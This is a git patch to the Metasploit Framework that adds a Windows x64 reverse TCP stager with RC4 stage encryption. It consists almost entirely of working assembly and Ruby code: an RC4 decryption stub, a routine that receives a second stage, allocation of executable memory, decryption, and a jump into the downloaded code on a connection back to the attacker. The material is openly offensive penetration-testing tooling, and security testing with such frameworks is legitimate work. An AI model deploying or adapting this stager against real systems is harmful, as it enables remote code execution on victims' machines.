From 0d07d44b14b2a221d4f4da0a6101f596b08975b9 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 2 Mar 2018 16:09:52 -0600 Subject: [PATCH] ReLand #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm This reverts commit 7964868fcd15f9b6e288638fcdcd9be57cefc9f2. --- lib/msf/core/payload/windows/x64/rc4.rb | 97 +++++++++ .../core/payload/windows/x64/reverse_tcp.rb | 12 +- .../payload/windows/x64/reverse_tcp_rc4.rb | 189 ++++++++++++++++++ .../stagers/windows/x64/reverse_tcp_rc4.rb | 35 ++++ 4 files changed, 331 insertions(+), 2 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/rc4.rb create mode 100644 lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb diff --git a/lib/msf/core/payload/windows/x64/rc4.rb b/lib/msf/core/payload/windows/x64/rc4.rb new file mode 100644 index 000000000000..a77627e4a7b3 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/rc4.rb @@ -0,0 +1,97 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + +### +# +# RC4 decryption stub for Windows ARCH_X64 payloads +# +### +module Payload::Windows::Rc4_x64 + # + # Register rc4 specific options + # + def initialize(*args) + super + register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class) + end + + # + # Generate assembly code that decrypts RC4 shellcode in-place + # + + def asm_decrypt_rc4 + %! + ;-----------------------------------------------------------------------------; + ; Author: max3raza + ; Version: 1.0 (12 January 2018) + ;-----------------------------------------------------------------------------; + ; Input: R9 - Data to decode + ; RCX - Data length + ; RSI - Key (16 bytes for simplicity and smaller code) + ; RDI - pointer to 0x100 bytes scratch space for S-box + ; Direction flag has to be cleared + ; Output: None. Data is decoded in place. + ; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used) + ; Initialize S-box + xor rax, rax ; Start with 0 + mov r8, rdi ; Save pointer to S-box + init: + stosb ; Store next S-Box byte S[i] = i + inc al ; increase byte to write (RDI is increased automatically) + jnz init ; loop until we wrap around + ; permute S-box according to key + xor rbx, rbx ; Clear RBX (RAX is already cleared) + permute: + add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16] + mov rdx, rax + and dl, 0xF + add bl, [rsi+rdx] + mov dl, [r8+rax] ; swap S[AL] and S[BL] + xchg dl, [r8+rbx] + mov [r8+rax], dl + inc al ; AL += 1 until we wrap around + jnz permute + ; decryption loop + xor rbx, rbx ; Clear RBX (RAX is already cleared) + decrypt: + inc al ; AL += 1 + add bl, [r8+rax] ; BL += S[AL] + mov dl, [r8+rax] ; swap S[AL] and S[BL] + xchg dl, [r8+rbx] + mov [r8+rax], dl + add dl, [r8+rbx] ; DL = S[AL]+S[BL] + mov dl, [r8+rdx] ; DL = S[DL] + xor [r9], dl ; [R9] ^= DL + inc r9 ; advance data pointer + dec rcx ; reduce counter + jnz decrypt ; until finished + ! + end + + def generate_stage(opts = {}) + p = super(opts) + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + c1 = OpenSSL::Cipher.new('RC4') + c1.decrypt + c1.key = rc4key + p = c1.update(p) + [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p + end + + def handle_intermediate_stage(_conn, _payload) + false + end + + private + + def rc4_keys(rc4pass = '') + m = OpenSSL::Digest.new('sha1') + m.reset + key = m.digest(rc4pass) + [key[0, 4], key[4, 16]] + end +end +end diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 3684be93af5d..249918e72d3b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -69,6 +69,7 @@ def generate_reverse_tcp(opts={}) start: pop rbp ; block API pointer #{asm_reverse_tcp(opts)} + #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end @@ -105,7 +106,6 @@ def required_space # def asm_reverse_tcp(opts={}) - reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first @@ -191,7 +191,15 @@ def asm_reverse_tcp(opts={}) ^ asm << asm_send_uuid if include_send_uuid - asm << %Q^ + asm + + end + + def asm_block_recv(opts={}) + + reliable = opts[:reliable] + + asm = %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb new file mode 100644 index 000000000000..144fb0b2f702 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb @@ -0,0 +1,189 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_tcp' +require 'msf/core/payload/windows/x64/rc4' + +module Msf + +### +# +# Complex reverse_tcp payload generation for Windows ARCH_X64 +# +### + +module Payload::Windows::ReverseTcpRc4_x64 + + include Msf::Payload::Windows::ReverseTcp_x64 + include Msf::Payload::Windows::Rc4_x64 + + # + # Generate the first stage + # + def generate + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + xorkey: xorkey, + rc4key: rc4key, + reliable: false + } + + # Generate the advanced stager if we have space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_tcp_rc4(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp_rc4(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp ; block API pointer + #{asm_reverse_tcp(opts)} + #{asm_block_recv_rc4(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + def asm_block_recv_rc4(opts={}) + xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp + reliable = opts[:reliable] + asm = %Q^ + recv: + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + mov esi, esi ; only use the lower-order 32 bits for the size + xor esi, #{xorkey} ; XOR the stage length + lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length) + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx,rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + ; mov rbx, rax ; rbx = our new memory address for the new stage + lea rbx, [rax+0x100] + ; mov r15, rax ; save the address so we can jump into it later + mov r15, rbx + push rbx ; save stage address + push rsi ; push stage length + push rax ; push the address of the S-box + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + add rsp, 32 ; restore stack after api_call + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + cleanup_socket: + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + ; test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + mov r14, rdi ; save socket handle + pop rdi ; address of S-box + pop rcx ; stage length + pop r9 ; address of stage + push r14 ; save socket + call after_key ; Call after_key, this pushes the address of the key onto the stack. + db #{raw_to_db(opts[:rc4key])} + after_key: + pop rsi ; rsi = RC4 key + #{asm_decrypt_rc4} + pop rdi ; restrore socket handle + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb new file mode 100644 index 000000000000..3c561e3cba4b --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/x64/reverse_tcp_rc4' + + +module MetasploitModule + + CachedSize = 398 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcpRc4_x64 + + def self.handler_type_alias + "reverse_tcp_rc4" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)', + 'Description' => 'Connect back to the attacker', + 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end +end